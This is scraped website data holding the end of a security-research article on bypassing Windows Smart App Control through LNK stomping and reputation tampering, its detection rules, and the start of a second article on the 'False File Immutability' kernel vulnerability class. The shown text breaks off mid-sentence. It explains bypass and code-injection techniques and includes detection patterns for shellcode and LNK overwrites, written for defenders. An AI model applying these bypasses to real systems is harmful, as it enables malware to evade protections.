\",(0,t.jsx)(e.a,{href:\"https://github.com/joe-desimone/rep-research/blob/ea8c70d488a03b5f931efa37302128d9e7a33ac0/rep-tampering/poc-rep-tampering.zip\",rel:\"nofollow\",children:\"tampered binary\"}),\" with a unique hash that had never been seen by Microsoft or SAC. This embedded an \\u201Cexecute calc\\u201D shellcode and could be executed with SAC in enforcement mode:\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/dismantling-smart-app-control/reptamperingpopcalc.gif\",alt:\"\",width:\"1910\",height:\"1076\"})}),`\n`,(0,t.jsx)(e.h2,{id:\"lnk-stomping\",children:\"LNK Stomping\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"When a user downloads a file, the browser will create an associated \\u201CZone.Identifier\\u201D file in an \",(0,t.jsx)(e.a,{href:\"https://www.digital-detective.net/forensic-analysis-of-zone-identifier-stream/\",rel:\"nofollow\",children:\"alternate data stream\"}),\" known as the Mark of the Web (MotW). This lets other software (including AV and EDR) on the system know that the file is more risky. SmartScreen only scans files with the Mark of the Web. SAC completely blocks certain file types if they have it. This makes MotW bypasses an interesting research target, as it can usually lead to bypassing these security systems. Financially motivated threat groups have discovered and leveraged \",(0,t.jsx)(e.a,{href:\"https://blog.google/threat-analysis-group/magniber-ransomware-actors-used-a-variant-of-microsoft-smartscreen-bypass/\",rel:\"nofollow\",children:\"multiple vulnerabilities\"}),\" to bypass MotW checks. These techniques involved appending crafted and invalid code signing signatures to javascript or MSI files.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"During our research, we stumbled upon another MotW bypass that is trivial to exploit. It involves crafting LNK files that have non-standard target paths or internal structures. When clicked, these LNK files are modified by explorer.exe with the canonical formatting. This modification leads to removal of the MotW label before security checks are performed. The function that overwrites the LNK files is \",(0,t.jsx)(e.strong,{children:\"_SaveAsLink()\"}),\" as shown in the following call stack:\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/dismantling-smart-app-control/image3.png\",alt:\"\",width:\"437\",height:\"166\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"The function that performs the security check is \",(0,t.jsx)(e.strong,{children:\"CheckSmartScreen()\"}),\" as shown in the following call stack:\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/dismantling-smart-app-control/image1.png\",alt:\"\",width:\"535\",height:\"200\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"The easiest demonstration of this issue is to append a dot or space to the target executable path (e.g., \",(0,t.jsx)(e.code,{children:\"powershell.exe.\"}),\"). Alternatively, one can create an LNK file that contains a relative path such as \",(0,t.jsx)(e.code,{children:\".\\\\target.exe\"}),\". After clicking the link, \",(0,t.jsx)(e.code,{children:\"explorer.exe\"}),\" will search for and find the matching \",(0,t.jsx)(e.code,{children:\".exe\"}),\" name, automatically correct the full path, update the file on disk (removing MotW), and finally launch the target. Yet another variant involves crafting a multi-level path in a single entry of the LNK\\u2019s target path array. The target path array should normally have 1 entry per directory. The \",(0,t.jsx)(e.a,{href:\"https://pypi.org/project/pylnk3/\",rel:\"nofollow\",children:\"pylnk3\"}),\" utility shows the structure of an exploit LNK (non-canonical format) before and after execution (canonical format):\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/dismantling-smart-app-control/image4.png\",alt:\"\",width:\"694\",height:\"81\"})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/dismantling-smart-app-control/image2.png\",alt:\"\",width:\"356\",height:\"158\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"A Python script that demonstrates these techniques is available \",(0,t.jsx)(e.a,{href:\"https://github.com/joe-desimone/rep-research/blob/8e22c587e727ce2e3ea1ccab973941b7dd2244fc/lnk_stomping/lnk_stomping.py\",rel:\"nofollow\",children:\"here\"}),\".\"]}),`\n`,(0,t.jsx)(e.p,{children:\"The following shows an LNK file bypassing MotW restrictions under Smart App Control to launch Powershell and pop calc:\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/dismantling-smart-app-control/sac-lnk-powershell.gif\",alt:\"\",width:\"1914\",height:\"1076\"})}),`\n`,(0,t.jsx)(e.p,{children:\"In another example, we show this technique chained with the Microsoft cdb command line debugger to achieve arbitrary code execution and execute shellcode to pop calc:\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/dismantling-smart-app-control/sac-lnk-cdb.gif\",alt:\"\",width:\"1918\",height:\"1076\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"We identified multiple samples in VirusTotal that exhibit the bug, demonstrating existing in the wild usage. The oldest \",(0,t.jsx)(e.a,{href:\"https://www.virustotal.com/gui/file/11dadc71018027c7e005a70c306532e5ea7abdc389964cbc85cf3b79f97f6b44/detection\",rel:\"nofollow\",children:\"sample\"}),\" identified was submitted over 6 years ago. We also disclosed details of the bug to the MSRC. It may be fixed in a future Windows update. We are releasing this information, along with detection logic and countermeasures, to help defenders identify this activity until a patch is available.\"]}),`\n`,(0,t.jsx)(e.h2,{id:\"detections\",children:\"Detections\"}),`\n`,(0,t.jsx)(e.p,{children:\"Reputation hijacking, by its nature, can be difficult to detect. Countless applications can be co-opted to carry out the technique. Cataloging and blocking applications known to be abused is an initial (and continual) step.\"}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`process where process.parent.name == \"explorer.exe\" and process.hash.sha256 in (\n\"ba35b8b4346b79b8bb4f97360025cb6befaf501b03149a3b5fef8f07bdf265c7\", // AutoHotKey\n\"4e213bd0a127f1bb24c4c0d971c2727097b04eed9c6e62a57110d168ccc3ba10\" // JamPlus\n)\n`})}),`\n`,(0,t.jsx)(e.p,{children:\"However, this approach will always lag behind attackers. A slightly more robust approach is to develop behavioral signatures to identify general categories of abused software. For example, we can look for common Lua or Node.js function names or modules in suspicious call stacks:\"}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`sequence by process.entity_id with maxspan=1m\n[library where\n (dll.Ext.relative_file_creation_time \u003c= 3600 or\n dll.Ext.relative_file_name_modify_time \u003c= 3600 or\n (dll.Ext.device.product_id : (\"Virtual DVD-ROM\", \"Virtual Disk\",\"USB *\") and not dll.path : \"C:\\\\\\\\*\")) and\n _arraysearch(process.thread.Ext.call_stack, $entry, $entry.symbol_info: \"*!luaopen_*\")] by dll.hash.sha256\n[api where\n process.Ext.api.behaviors : (\"shellcode\", \"allocate_shellcode\", \"execute_shellcode\", \"unbacked_rwx\", \"rwx\", \"hook_api\") and\n process.thread.Ext.call_stack_final_user_module.hash.sha256 : \"?*\"] by process.thread.Ext.call_stack_final_user_module.hash.sha256\n`})}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`api where process.Ext.api.name : (\"VirtualProtect*\", \"WriteProcessMemory\", \"VirtualAlloc*\", \"MapViewOfFile*\") and\n process.Ext.api.behaviors : (\"shellcode\", \"allocate_shellcode\", \"execute_shellcode\", \"unbacked_rwx\", \"rwx\", \"hook_api\") and\n process.thread.Ext.call_stack_final_user_module.name : \"ffi_bindings.node\"\n`})}),`\n`,(0,t.jsx)(e.p,{children:\"Security teams should pay particular attention to downloaded files. They can use local reputation to identify outliers in their environment for closer inspection.\"}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`from logs-* | \nwhere host.os.type == \"windows\"\nand event.category == \"process\" and event.action == \"start\"\nand process.parent.name == \"explorer.exe\"\nand (process.executable like \"*Downloads*\" or process.executable like \"*Temp*\")\nand process.hash.sha256 is not null\n| eval process.name = replace(process.name, \" \\\\\\\\(1\\\\\\\\).\", \".\")\n| stats hosts = count_distinct(agent.id) by process.name, process.hash.sha256\n| where hosts == 1\n`})}),`\n`,(0,t.jsxs)(e.p,{children:[\"LNK stomping may have many variants, making signature-based detection on LNK files difficult. However, they should all trigger a similar behavioral signal- \",(0,t.jsx)(e.code,{children:\"explorer.exe\"}),\" overwriting an LNK file. This is especially anomalous in the downloads folder or when the LNK has the Mark of the Web.\"]}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`file where event.action == \"overwrite\" and file.extension : \"lnk\" and\n process.name : \"explorer.exe\" and process.thread.Ext.call_stack_summary : \"ntdll.dll|*|windows.storage.dll|shell32.dll|*\" and\n (\n file.path : (\"?:\\\\\\\\Users\\\\\\\\*\\\\\\\\Downloads\\\\\\\\*.lnk\", \"?:\\\\\\\\Users\\\\\\\\*\\\\\\\\AppData\\\\\\\\Local\\\\\\\\Temp\\\\\\\\*.lnk\") or\n file.Ext.windows.zone_identifier == 3\n )\n`})}),`\n`,(0,t.jsx)(e.p,{children:\"Finally, robust behavioral coverage around common attacker techniques such as in-memory evasion, persistence, credential access, enumeration, and lateral movement helps detect realistic intrusions, including from reputation hijacking.\"}),`\n`,(0,t.jsx)(e.h2,{id:\"conclusion\",children:\"Conclusion\"}),`\n`,(0,t.jsx)(e.p,{children:\"Reputation-based protection systems are a powerful layer for blocking commodity malware. However, like any protection technique, they have weaknesses that can be bypassed with some care. Smart App Control and SmartScreen have a number of fundamental design weaknesses that can allow for initial access with no security warnings and minimal user interaction. Security teams should scrutinize downloads carefully in their detection stack and not rely solely on OS-native security features for protection in this area.\"})]})}function v(a={}){let{wrapper:e}=a.components||{};return e?(0,t.jsx)(e,Object.assign({},a,{children:(0,t.jsx)(h,a)})):h(a)}var x=v;return y(S);})();\n;return Component;"},"_id":"articles/dismantling-smart-app-control.mdx","_raw":{"sourceFilePath":"articles/dismantling-smart-app-control.mdx","sourceFileName":"dismantling-smart-app-control.mdx","sourceFileDir":"articles","contentType":"mdx","flattenedPath":"articles/dismantling-smart-app-control"},"type":"Article","imageUrl":"/assets/images/dismantling-smart-app-control/Security Labs Images 19.jpg","readingTime":"11 min read","series":"","url":"/dismantling-smart-app-control","headings":[{"level":2,"title":"Introduction","href":"#introduction"},{"level":3,"title":"Key Takeaways:","href":"#key-takeaways"},{"level":2,"title":"SmartScreen/SAC Background","href":"#smartscreensac-background"},{"level":2,"title":"Signed Malware","href":"#signed-malware"},{"level":2,"title":"Reputation Hijacking","href":"#reputation-hijacking"},{"level":2,"title":"Reputation Seeding","href":"#reputation-seeding"},{"level":2,"title":"Reputation Tampering","href":"#reputation-tampering"},{"level":2,"title":"LNK Stomping","href":"#lnk-stomping"},{"level":2,"title":"Detections","href":"#detections"},{"level":2,"title":"Conclusion","href":"#conclusion"}],"author":[{"title":"Joe Desimone","slug":"joe-desimone","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var j=Object.getOwnPropertyNames;var _=Object.getPrototypeOf,d=Object.prototype.hasOwnProperty;var g=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),l=(t,e)=\u003e{for(var n in e)s(t,n,{get:e[n],enumerable:!0})},i=(t,e,n,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let r of j(e))!d.call(t,r)\u0026\u0026r!==n\u0026\u0026s(t,r,{get:()=\u003ee[r],enumerable:!(a=f(e,r))||a.enumerable});return t};var p=(t,e,n)=\u003e(n=t!=null?x(_(t)):{},i(e||!t||!t.__esModule?s(n,\"default\",{value:t,enumerable:!0}):n,t)),D=t=\u003ei(s({},\"__esModule\",{value:!0}),t);var c=g((h,m)=\u003e{m.exports=_jsx_runtime});var X={};l(X,{default:()=\u003eF,frontmatter:()=\u003eM});var o=p(c()),M={title:\"Joe Desimone\",slug:\"joe-desimone\"};function u(t){return(0,o.jsx)(o.Fragment,{})}function C(t={}){let{wrapper:e}=t.components||{};return e?(0,o.jsx)(e,Object.assign({},t,{children:(0,o.jsx)(u,t)})):u(t)}var F=C;return D(X);})();\n;return Component;"},"_id":"authors/joe-desimone.mdx","_raw":{"sourceFilePath":"authors/joe-desimone.mdx","sourceFileName":"joe-desimone.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/joe-desimone"},"type":"Author","imageUrl":"","url":"/authors/joe-desimone"}],"category":[{"title":"Security research","slug":"security-research","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var _=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,j=Object.prototype.hasOwnProperty;var l=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),d=(t,e)=\u003e{for(var r in e)s(t,r,{get:e[r],enumerable:!0})},c=(t,e,r,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of _(e))!j.call(t,o)\u0026\u0026o!==r\u0026\u0026s(t,o,{get:()=\u003ee[o],enumerable:!(a=f(e,o))||a.enumerable});return t};var h=(t,e,r)=\u003e(r=t!=null?x(g(t)):{},c(e||!t||!t.__esModule?s(r,\"default\",{value:t,enumerable:!0}):r,t)),p=t=\u003ec(s({},\"__esModule\",{value:!0}),t);var i=l((X,u)=\u003e{u.exports=_jsx_runtime});var D={};d(D,{default:()=\u003eC,frontmatter:()=\u003ey});var n=h(i()),y={title:\"Security research\",slug:\"security-research\"};function m(t){return(0,n.jsx)(n.Fragment,{})}function M(t={}){let{wrapper:e}=t.components||{};return e?(0,n.jsx)(e,Object.assign({},t,{children:(0,n.jsx)(m,t)})):m(t)}var C=M;return p(D);})();\n;return Component;"},"_id":"categories/security-research.mdx","_raw":{"sourceFilePath":"categories/security-research.mdx","sourceFileName":"security-research.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/security-research"},"type":"Category","url":"/categories/security-research"}]},{"title":"Introducing a New Vulnerability Class: False File Immutability","slug":"false-file-immutability","date":"2024-07-11","description":"This article introduces a previously-unnamed class of Windows vulnerability that demonstrates the dangers of assumption and describes some unintended security consequences.","image":"Security Labs Images 36.jpg","body":{"raw":"\n## Introduction\n\nThis article will discuss a previously-unnamed vulnerability class in Windows, showing how long-standing incorrect assumptions in the design of core Windows features can result in both undefined behavior and security vulnerabilities. We will demonstrate how one such vulnerability in the Windows 11 kernel can be exploited to achieve arbitrary code execution with kernel privileges.\n\n\n## Windows file sharing\n\nWhen an application opens a file on Windows, it typically uses some form of the Win32 [**CreateFile**](https://learn.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfilew) API.\n\n``` c++\nHANDLE CreateFileW(\n [in] LPCWSTR lpFileName,\n [in] DWORD dwDesiredAccess,\n [in] DWORD dwShareMode,\n [in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes,\n [in] DWORD dwCreationDisposition,\n [in] DWORD dwFlagsAndAttributes,\n [in, optional] HANDLE hTemplateFile\n);\n```\n\nCallers of **CreateFile** specify the access they want in **dwDesiredAccess**. For example, a caller would pass **FILE_READ_DATA** to be able to read data, or **FILE_WRITE_DATA** to be able to write data. The full set of access rights are [documented](https://learn.microsoft.com/en-us/windows/win32/fileio/file-access-rights-constants) on the Microsoft Learn website.\n\nIn addition to passing **dwDesiredAccess**, callers must pass a “sharing mode” in **dwShareMode**, which consists of zero or more of **FILE_SHARE_READ**, **FILE_SHARE_WRITE**, and **FILE_SHARE_DELETE**. You can think of a sharing mode as the caller declaring “I’m okay with others doing X to this file while I’m using it,” where X could be reading, writing, or renaming. For example, a caller that passes **FILE_SHARE_WRITE** allows others to write the file while they are working with it.\n\nAs a file is opened, the caller’s **dwDesiredAccess** is tested against the **dwShareMode** of all existing file handles. Simultaneously, the caller’s **dwShareMode** is tested against the previously-granted **dwDesiredAccess** of all existing handles to that file. If either of these tests fail, then **CreateFile** fails with a sharing violation.\n\nSharing isn’t mandatory. Callers can pass a share mode of zero to obtain exclusive access. Per Microsoft [documentation](https://learn.microsoft.com/en-us/windows/win32/fileio/creating-and-opening-files):\n\n\u003e An open file that is not shared (dwShareMode set to zero) cannot be opened again, either by the application that opened it or by another application, until its handle has been closed. This is also referred to as exclusive access.\n\n\n### Sharing enforcement\n\nIn the kernel, sharing is enforced by filesystem drivers. As a file is opened, it’s the responsibility of the filesystem driver to call [**IoCheckShareAccess**](https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-iocheckshareaccess) or [**IoCheckLinkShareAccess**](https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-iochecklinkshareaccess) to see whether the requested **DesiredAccess**/**ShareMode** tuple is compatible with any existing handles to the file being opened. [NTFS](https://learn.microsoft.com/en-us/windows-server/storage/file-server/ntfs-overview) is the primary filesystem on Windows, but it’s closed-source, so for illustrative purposes we’ll instead look at Microsoft’s FastFAT sample code performing [the same check](https://github.com/Microsoft/Windows-driver-samples/blob/622212c3fff587f23f6490a9da939fb85968f651/filesys/fastfat/create.c#L6822-L6884). Unlike an IDA decompilation, it even comes with comments!\n\n``` c++\n//\n// Check if the Fcb has the proper share access.\n//\n\nreturn IoCheckShareAccess( *DesiredAccess,\n ShareAccess,\n FileObject,\n \u0026FcbOrDcb-\u003eShareAccess,\n FALSE );\n```\n\nIn addition to traditional read/write file operations, Windows lets applications map files into memory. Before we go deeper, it’s important to understand that [section objects](https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/section-objects-and-views) are kernel parlance for [file mappings](https://learn.microsoft.com/en-us/windows/win32/memory/file-mapping); they are the same thing. This article focuses on the kernel, so it will primarily refer to them as section objects.\n\nThere are two types of section objects - data sections and executable image sections. Data sections are direct 1:1 mappings of files into memory. The file’s contents will appear in memory exactly as they do on disk. Data sections also have uniform memory permissions for the entire memory range. With respect to the underlying file, data sections can be either read-only or read-write. A read-write view of a file enables a process to read or write the file’s contents by reading/writing memory within its own address space.\n\nExecutable image sections (sometimes abbreviated to image sections) prepare [PE files](https://learn.microsoft.com/en-us/windows/win32/debug/pe-format) to be executed. Image sections must be created from PE files. Examples of PE files include EXE, DLL, SYS, CPL, SCR, and OCX files. The kernel processes the PEs specially to prepare them to be executed. Different PE regions will be mapped in memory with different page permissions, depending on their metadata. Image views are [copy-on-write](https://en.wikipedia.org/wiki/Copy-on-write), meaning any changes in memory will be saved to the process’s private working set — never written to the backing PE.\n\nLet’s say application A wants to map a file into memory with a data section. First, it opens that file with an API such as **ZwCreateFile**, which returns a file handle. Next, it passes this file handle to an API such as **ZwCreateSection** which creates a section object that describes how the file will be mapped into memory; this yields a section handle. The process then uses the section handle to map a “view” of that section into the process address space, completing the memory mapping.\n\n\n\nOnce the file is successfully mapped, process A can close both the file and section handles, leaving zero open handles to the file. If process B later wants to use the file without the risk of it being modified externally, it would omit **FILE_SHARE_WRITE** when opening the file. **IoCheckLinkShareAccess** looks for open file handles, but since the handles were previously closed, it will not fail the operation.\n\nThis creates a problem for file sharing. Process B thinks it has a file open without risk of external modification, but process A can modify it through the memory mapping. To account for this, the filesystem must also call [**MmDoesFileHaveUserWritableReferences**](https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-mmdoesfilehaveuserwritablereferences). This checks whether there are any active writable file mappings to the given file. We can see this check in the FastFAT example [here](https://github.com/Microsoft/Windows-driver-samples/blob/622212c3fff587f23f6490a9da939fb85968f651/filesys/fastfat/create.c#L6858-L6870):\n\n``` c++\n//\n// Do an extra test for writeable user sections if the user did not allow\n// write sharing - this is neccessary since a section may exist with no handles\n// open to the file its based against.\n//\n\nif ((NodeType( FcbOrDcb ) == FAT_NTC_FCB) \u0026\u0026\n !FlagOn( ShareAccess, FILE_SHARE_WRITE ) \u0026\u0026\n FlagOn( *DesiredAccess, FILE_EXECUTE | FILE_READ_DATA | FILE_WRITE_DATA | FILE_APPEND_DATA | DELETE | MAXIMUM_ALLOWED ) \u0026\u0026\n MmDoesFileHaveUserWritableReferences( \u0026FcbOrDcb-\u003eNonPaged-\u003eSectionObjectPointers )) {\n\n return STATUS_SHARING_VIOLATION;\n}\n```\n\nWindows requires PE files to be immutable (unmodifiable) while they are running. This prevents EXEs and DLLs from being changed on disk while they are running in memory. Filesystem drivers must use the [**MmFlushImageSection**](https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-mmflushimagesection) function to check whether there are any active image mappings of a PE before allowing **FILE_WRITE_DATA** access. We can see this in the [FastFAT example code](https://github.com/Microsoft/Windows-driver-samples/blob/622212c3fff587f23f6490a9da939fb85968f651/filesys/fastfat/create.c#L3572-L3593), and on [Microsoft Learn](https://learn.microsoft.com/en-us/windows-hardware/drivers/ifs/executable-images).\n\n``` c++\n//\n// If the user wants write access access to the file make sure there\n// is not a process mapping this file as an image. Any attempt to\n// delete the file will be stopped in fileinfo.c\n//\n// If the user wants to delete on close, we must check at this\n// point though.\n//\n\nif (FlagOn(*DesiredAccess, FILE_WRITE_DATA) || DeleteOnClose) {\n\n Fcb-\u003eOpenCount += 1;\n DecrementFcbOpenCount = TRUE;\n\n if (!MmFlushImageSection( \u0026Fcb-\u003eNonPaged-\u003eSectionObjectPointers,\n MmFlushForWrite )) {\n\n Iosb.Status = DeleteOnClose ? STATUS_CANNOT_DELETE :\n STATUS_SHARING_VIOLATION;\n try_return( Iosb );\n }\n}\n```\n\nAnother way to think of this check is that **ZwMapViewOfSection(SEC_IMAGE)** implies no-write-sharing as long as the view exists.\n\n\n## Authenticode\n\nThe [Windows Authenticode Specification](https://download.microsoft.com/download/9/c/5/9c5b2167-8017-4bae-9fde-d599bac8184a/authenticode_pe.docx) describes a way to employ cryptography to “sign” PE files. A “digital signature” cryptographically attests that the PE was produced by a particular entity. Digital signatures are tamper-evident, meaning that any material modification of signed files should be detectable because the digital signature will no longer match. Digital signatures are typically appended to the end of PE files.\n\n\n\nAuthenticode can’t apply traditional hashing (e.g. **sha256sum**) in this case, because the act of appending the signature would change the file’s hash, breaking the signature it just generated. Instead, the Authenticode specification describes an algorithm to skip specific portions of the PE file that will be changed during the signing process. This algorithm is called **authentihash**. You can use authentihash with any hashing algorithm, such as SHA256. When a PE file is digitally signed, the file’s authentihash is what’s actually signed.\n\n\n### Code integrity\n\nWindows has a few different ways to validate Authenticode signatures. User mode applications can call [**WinVerifyTrust**](https://learn.microsoft.com/en-us/windows/win32/api/wintrust/nf-wintrust-winverifytrust) to validate a file’s signature in user mode. The Code Integrity (CI) subsystem, residing in ```ci.dll```, validates signatures in the kernel. If [Hypervisor-Protected Code Integrity](https://learn.microsoft.com/en-us/windows-hardware/drivers/bringup/device-guard-and-credential-guard) is running, the Secure Kernel employs ```skci.dll``` to validate Authenticode. This article will focus on Code Integrity (```ci.dll```) in the regular kernel.\n\nCode Integrity provides both Kernel Mode Code Integrity and User Mode Code Integrity, each serving a different set of functions.\n\nKernel Mode Code Integrity (KMCI):\n - Enforces [Driver Signing Enforcement](https://learn.microsoft.com/en-us/windows-hardware/drivers/install/driver-signing) and the [Vulnerable Driver Blocklist](https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/design/microsoft-recommended-driver-block-rules#microsoft-vulnerable-driver-blocklist)\n\nUser Mode Code Integrity (UMCI):\n - CI validates the signatures of EXEs and DLLs before allowing them to load\n - Enforces [Protected Processes and Protected Process Light](https://learn.microsoft.com/en-us/windows/security/threat-protection/overview-of-threat-mitigations-in-windows-10#protected-processes) signature requirements\n - Enforces **ProcessSignaturePolicy** mitigation ([**SetProcessMitigationPolicy**](https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-setprocessmitigationpolicy))\n - Enforces [INTEGRITYCHECK](https://learn.microsoft.com/en-us/cpp/build/reference/integritycheck-require-signature-check?view=msvc-170) for [FIPS 140-2 modules](https://x.com/GabrielLandau/status/1668353640833114131).\n - Exposed to consumers as [Smart App Control](https://learn.microsoft.com/en-us/windows/apps/develop/smart-app-control/overview)\n - Exposed to businesses as [App Control for Business](https://learn.microsoft.com/en-us/mem/intune/protect/endpoint-security-app-control-policy) (formerly WDAC)\n\nKMCI and UMCI implement different policies for different scenarios. For example, the policy for Protected Processes is different from that of INTEGRITYCHECK.\n\n\n## Incorrect assumptions\n\nMicrosoft [documentation](https://learn.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfilea) implies that files successfully opened without write sharing can’t be modified by another user or process.\n\n```\nFILE_SHARE_WRITE\n0x00000002\nEnables subsequent open operations on a file or device to request write access. Otherwise, other processes cannot open the file or device if they request write access.\n```\n\nIf this flag is not specified, but the file or device has been opened for write access or has a file mapping with write access, the function fails.\n\n*Above, we discussed how sharing is enforced by the filesystem, but what if the filesystem doesn’t know that the file’s been modified?*\n\nLike most user mode memory, the Memory Manager (MM) in the kernel may page-out portions of file mappings when it deems necessary, such as when the system needs more free physical memory. Both data and executable image mappings may be paged-out. Executable image sections can never modify the backing file, so they’re effectively treated as read-only with respect to the backing PE file. As mentioned before, image sections are copy-on-write, meaning any in-memory changes immediately create a private copy of the given page.\n\nWhen the memory manager needs to page-out a page from an image section, it can use the following decision tree:\n - Never modified? Discard it. We can read the contents back from the immutable file on disk.\n - Modified? Save private copy it to the pagefile.\n - Example: If a security product hooks a function in ```ntdll.dll```, MM will create a private copy of each modified page. Upon page-out, private pages will be written to the pagefile.\n\nIf those paged-out pages are later touched, the CPU will issue a page fault and the MM will restore the pages.\n - Page never modified? Read the original contents back from the immutable file on disk.\n - Page private? Read it from the pagefile.\n\nNote the following exception: The memory manager may treat PE-relocated pages as unmodified, dynamically reapplying relocations during page faults.\n\n\n### Page hashes\n\nPage hashes are a list of hashes of each 4KB page within a PE file. Since pages are 4KB, page faults typically occur on 4KB of data at a time. Full Authenticode verification requires the entire contiguous PE file, which isn’t available during a page fault. Page hashes allow the MM to validate hashes of individual pages during page faults.\n\nThere are two types of page hashes, which we’ve coined static and dynamic. Static page hashes are stored within a PE’s digital signature if the developer passes ```/ph``` to [```signtool```](https://learn.microsoft.com/en-us/windows/win32/seccrypto/signtool). By pre-computing these, they are immediately available to the MM and CI upon module load.\n\nCI can also compute them on-the-fly during signature validation, a mechanism we’re calling dynamic page hashes. Dynamic page hashes give CI flexibility to enforce page hashes even for files that were never signed with them.\n\nPage hashes are not free - they use CPU and slow down page faults. They’re not used in most cases.\n\n\n## Attacking code integrity\n\nImagine a scenario where a ransomware operator wants to ransom a hospital, so they send a phishing email to a hospital employee. The employee opens the email attachment and enables macros, running the ransomware. The ransomware employs a UAC bypass to immediately elevate to admin, then attempts to terminate any security software on the system so it can operate unhindered. Anti-Malware services run as [Protected Process Light](https://learn.microsoft.com/en-us/windows/win32/services/protecting-anti-malware-services-) (PPL), protecting them from tampering by malware with admin rights, so the ransomware can’t terminate the Anti-Malware service.\n\nIf the ransomware could also run as a PPL, it could terminate the Anti-Malware product. The ransomware can’t launch itself directly as a PPL because UMCI prevents improperly-signed EXEs and DLLs from loading into PPL, as we discussed above. The ransomware might try to inject code into a PPL by modifying an EXE or DLL that’s already running, but the aforementioned **MmFlushImageSection** ensures in-use PE files remain immutable, so this isn’t possible.\n\nWe previously discussed how the filesystem is responsible for sharing checks. *What would happen if an attacker were to move the filesystem to another machine?*\n\n[Network redirectors](https://learn.microsoft.com/en-us/windows-hardware/drivers/ifs/what-is-a-network-redirector-) allow the use of network paths with any API that accepts file paths. This is very convenient, allowing users and applications to easily open and memory-map files over the network. Any resulting I/O is transparently redirected to the remote machine. If a program is launched from a network drive, the executable images for the EXE and its DLLs will be transparently pulled from the network.\n\nWhen a network redirector is in use, the server on the other end of the pipe needn’t be a Windows machine. It could be a Linux machine running [Samba](https://en.wikipedia.org/wiki/Samba_(software)), or even a python [impacket script](https://github.com/fortra/impacket/blob/d71f4662eaf12c006c2ea7f5ec09b418d9495806/examples/smbserver.py) that “speaks” the [SMB network protocol](https://learn.microsoft.com/en-us/windows-server/storage/file-server/file-server-smb-overview). This means the server doesn’t have to honor Windows filesystem sharing semantics.\n\nAn attacker can employ a network redirector to modify a PPL’s DLL server-side, bypassing sharing restrictions. This means that PEs backing an executable image section are incorrectly assumed to be immutable. This is a class of vulnerability that we are calling **False File Immutability** (FFI).\n\n\n### Paging exploitation\n\nIf an attacker successfully exploits False File Immutability to inject code into an in-use PE, wouldn’t page hashes catch such an attack? The answer is: sometimes. If we look at the following table, we can see that page hashes are enforced for kernel drivers and Protected Processes, but not for PPL, so let’s pretend we’re an attacker targeting PPL.\n\n| | Authenticode | Page hashes |\n| ----- | ----- | ----- |\n| Kernel drivers | ✅ | ✅ |\n| Protected Processes (PP-Full) | ✅ | ✅ |\n| Protected Process Light (PPL) | ✅ | ❌ |\n\nLast year at Black Hat Asia 2023 ([abstract](https://www.blackhat.com/asia-23/briefings/schedule/#ppldump-is-dead-long-live-ppldump-31052), [slides](http://i.blackhat.com/Asia-23/AS-23-Landau-PPLdump-Is-Dead-Long-Live-PPLdump.pdf), [recording](https://www.youtube.com/watch?v=5xteW8Tm410)), we disclosed a vulnerability in the Windows kernel, showing how bad assumptions in paging can be exploited to inject code into PPL, defeating security features like [LSA](https://learn.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/configuring-additional-lsa-protection) \u0026 [Anti-Malware Process Protection](https://learn.microsoft.com/en-us/windows/win32/services/protecting-anti-malware-services-). The attack leveraged False File Immutability assumptions for DLLs in PPLs, as we just described, though we hadn’t yet named the vulnerability class.\n\n\n\nAlongside the presentation, we released the [PPLFault exploit](https://github.com/gabriellandau/PPLFault) which demonstrates the vulnerability by dumping the memory of an otherwise-protected PPL. We also released the GodFault exploit chain, which combines the PPLFault Admin-to-PPL exploit with the AngryOrchard PPL-to-kernel exploit to achieve full read/write control of physical memory from user mode. We did this to motivate Microsoft to take action on a vulnerability that MSRC [declined to 